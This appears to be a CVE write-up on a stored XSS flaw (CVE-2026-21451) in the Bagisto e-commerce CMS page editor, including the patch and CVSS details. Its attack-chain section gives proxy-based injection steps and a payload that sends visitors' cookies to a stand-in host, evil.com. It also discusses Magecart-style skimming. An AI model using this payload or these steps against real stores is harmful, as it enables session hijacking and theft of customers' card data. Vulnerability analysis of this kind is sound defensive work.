Bagisto versions prior to 2.3.10 fail to sanitize HTML input on the server side within the CMS page editor. Developers relied on the WYSIWYG editor's client-side filtering, which can be trivially bypassed using a proxy. An attacker with CMS permissions can inject persistent JavaScript that executes for all visitors, leading to potential credit card skimming or session hijacking.
A classic 'client-side trust' failure in the Bagisto e-commerce platform allows privileged attackers to bypass HTML filters and inject malicious JavaScript. While requiring administrative access, this Stored XSS vulnerability poses a severe threat to storefront customers, enabling Magecart-style skimming attacks via the CMS page editor.
In the world of e-commerce application security, the Content Management System (CMS) is often the soft underbelly of an otherwise hardened fortress. While checkout flows and payment gateways are scrutinized heavily, the humble "About Us" or "Privacy Policy" page editor often gets a free pass. Enter Bagisto, a sleek, Laravel-based e-commerce platform that powers thousands of online stores. It's modern, it's popular, and until recently, it had a glaring blind spot in how it handled administrator input.
CVE-2026-21451 isn't a complex buffer overflow or a novel cryptographic oracle attack. It is a fundamental architectural sin: Trusting the Client. The developers assumed that because the admin interface's rich text editor (likely TinyMCE or similar) prevented users from typing <script> tags, the application was safe. They treated the User Interface as a security control.
But for a hacker, the UI is just a suggestion. By bypassing the browser entirely and speaking directly to the server, we can turn a benign page update into a persistent weapon. This vulnerability is particularly spicy because it's a Stored XSS in a shopping platform. This isn't just about popping alert boxes; it's about injecting credit card skimmers (Magecart) that persist in the database and execute on every customer's browser who visits the affected page.
The vulnerability lies in the disconnect between the frontend presentation layer and the backend logic. When an administrator edits a CMS page in Bagisto, the browser sends a POST request containing the page content. In a secure application, the server receives this blob of text and immediately runs it through a ruthless sanitization library (like HTMLPurifier) to strip out dangerous tags before saving it to the database.
In Bagisto versions prior to 2.3.10, this server-side gatekeeper was missing or asleep at the wheel. The application took the raw input from the html_content parameter and dumped it directly into the database. The only thing stopping an XSS payload was the JavaScript running in the admin's browser, which filtered the input before sending it.
This is the digital equivalent of a nightclub bouncer who checks IDs in the parking lot but leaves the back door unlocked. An attacker doesn't need to fool the bouncer; they just need to walk around the building. By intercepting the request with a proxy, we remove the constraints of the UI and feed the server whatever HTML we want. Since the server trusts the input, it effectively says, "You're an admin, you wouldn't hurt me," and stores the payload for later execution.
The fix, introduced in Bagisto 2.3.10 via commit f533b1cd9c80896792da60976179c95573d78b79, explicitly acknowledges the lack of server-side hygiene. The developers introduced a new Sanitizer trait to handle the cleaning of input data before it touches the models.
Here is a conceptual look at the vulnerable flow versus the patched flow:
The Vulnerable Flow (Before)
// CMSController.php (Pseudo-code)
public function store()
{
$data = request()->all(); // Take everything. Trust everyone.
// Directly creating the page with raw input
$this->cmsRepository->create($data);
return response()->json(['message' => 'Page created!']);
}The Fixed Flow (After)
With the patch, Bagisto implemented a Sanitizer trait that likely wraps a robust library to parse and clean the HTML structure.
// CMSController.php (Patched)
use Webkul\Core\Traits\Sanitizer;
public function store()
{
$data = request()->all();
// The new sheriff in town
if (isset($data['html_content'])) {
$data['html_content'] = $this->sanitize($data['html_content']);
}
$this->cmsRepository->create($data);
// ...
}The sanitize function (and the specific sanitizeSVG for uploads) ensures that even if an attacker sends <script>alert(1)</script> or <img src=x onerror=alert(1)>, the storage engine receives harmless, escaped characters or strips the malicious tags entirely. This shifts the security boundary from the client (untrustworthy) to the server (trustworthy).
Exploiting this requires administrative access, specifically permissions to manage CMS pages. While this lowers the CVSS score, do not underestimate the risk. Compromised admin credentials are common, and this vulnerability allows an attacker to pivot from "Admin Access" to "Customer Data Theft."
Here is the attack chain:
Recon: Log in to the Bagisto admin panel and navigate to CMS > Pages. Start editing an existing page, like "About Us".
Interception: Enable Burp Suite (or your proxy of choice). Click "Save Page" in the browser. The browser's WYSIWYG editor cleans the input, but we pause the request before it leaves your machine.
Injection: Look for the body parameter, typically en[html_content] (depending on the locale).
Original Request Body:
{
"url_key": "about-us",
"en": {
"page_title": "About Us",
"html_content": "<p>We are a great store.</p>"
}
}Modified Request Body:
{
"url_key": "about-us",
"en": {
"page_title": "About Us",
"html_content": "<p>We are a great store.</p><img src=x onerror=fetch('https://evil.com/log?c='+document.cookie)>"
}
}Detonation: Forward the request. The server responds with a 200 OK. The payload is now in the database.
Profit: Whenever a customer visits /about-us, their browser attempts to load the broken image, triggers the onerror event, and silently sends their session cookies (or worse, checkout data if the script is more complex) to your logging server.
Why panic over a vulnerability that requires admin rights? Because in e-commerce, persistence is everything. If an attacker gains temporary access to an admin panel (via phishing, weak passwords, or a separate vulnerability), they want to maintain that access or monetize it.
Magecart & Skimming: This is the primary danger. By injecting a JavaScript skimmer into a CMS page that is linked in the footer (like "Shipping Policy"), an attacker can capture credit card details from customers across the entire site if the script is loaded globally or if customers visit that page during their journey.
Privilege Escalation / Persistence: Even if the original admin password is changed, the stored XSS payload remains. If another super-admin views the affected page in the backend to edit it, the script executes in their session context. This allows the attacker to hijack the super-admin's session, create new API keys, or create a backdoor admin account, effectively locking down the system even after the initial breach is 'remediated'.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
Bagisto Webkul | < 2.3.10 | 2.3.10 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| CVSS v4.0 | 5.2 (Medium) |
| Attack Vector | Network (Authenticated) |
| Privileges Required | High (Admin) |
| Impact | Stored XSS / Data Exfiltration |
| Fix Version | 2.3.10 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Get the latest CVE analysis reports delivered to your inbox.